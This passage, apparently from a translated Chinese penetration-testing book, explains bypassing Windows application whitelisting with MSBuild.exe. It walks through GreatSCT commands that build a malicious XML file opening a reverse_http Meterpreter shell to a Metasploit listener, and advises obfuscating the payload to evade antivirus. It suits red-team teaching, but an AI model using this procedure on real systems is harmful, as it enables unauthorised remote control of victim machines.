应用程序白名单绕过

我们已经讨论了在不运行 PowerShell 代码的情况下触发 PowerShell 的不同方法,但如果你无法在 Windows 系统上运行自定义二进制文件,该怎么办?“应用绕过”的概念就是查找可以执行我们 payload 的默认 Windows 二进制文件。我们一直受限于一些环境因素比如域控(DC)的锁定机制,只能进行有限的代码执行。我们可以使用一些不同的 Windows 文件来绕过这些限制,让我们来看看它们中的几个。

一个经常被讨论的可以用于绕过应用白名单的 Windows 二进制文件是 MSBuild.exe。什么是 MSBuild.exe,它有什么作用? MSBuild 是 .NET 框架中的一个默认应用,它是使用 XML 格式的项目文件构建 .NET 应用程序的平台。我们可以对 MSBuild 使用 XML 项目文件格式这个特性进行利用,我们可以使用名为 GreatSCT 的工具创建我们自己的恶意 XML 项目文件来执行 Meterpreter 会话,从而利用此特性。

GreatSCT 有我们可以使用的各种应用白名单绕过的方式,但我们只将介绍 MSBuild。在此示例中,我们将创建一个托管 reverse_http Meterpreter 会话的恶意 XML 文件。这将要求我们将 XML 文件写入受害系统并使用 MSBuild 来执行该 XML 文件:

  • git clone https://github.com/GreatSCT/GreatSCT.git /opt/
  • cd /opt/GreatSCT
  • python3 ./gr8sct.py
  • [4] MSBUILD/msbuild.cfg
  • 填写你的主机IP[0]和端口[1]
  • 生成
  • 使用 Metasploit 创建一个新的 windows/meterpreter/reverse_http 的监听器

应用程序白名单绕过 - 图1

在我们的 Kali 实例中,我们使用 GreatSCT 来创建 shellcode.xml 文件,该文件包含构建信息和一个 Meterpreter 反向 http shell。需要将此文件移动到受害系统并使用 MSBuild 进行调用。

*注意:我观察到 GreatSCT 项目正在 develop 分支上进行活跃的开发,其中包括 https Meterpreter 和其他应用程序白名单绕过命令执行。我估计在本书发布之前,就会被合并到 master 分支。

应用程序白名单绕过 - 图2

在 Windows 受害者计算机上执行文件调用后,使用 C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe shellcode.xml 命令,.NET 将开始构建 shellcode.xml 文件。在此过程中,将在受害者计算机上生成一个反向 http Meterpreter 会话来绕过任何应用程白名单。你可能希望编辑 shellcode.xml 文件以插入经过混淆的 payload,因为 Meterpreter 默认的 payload 很可能会触发杀毒软件。

应用程序白名单绕过 - 图3

可以使用许多种不同的方法来进行应用程序白名单绕过,光这一部分内容就足以写成一本书。以下是一些额外的资料: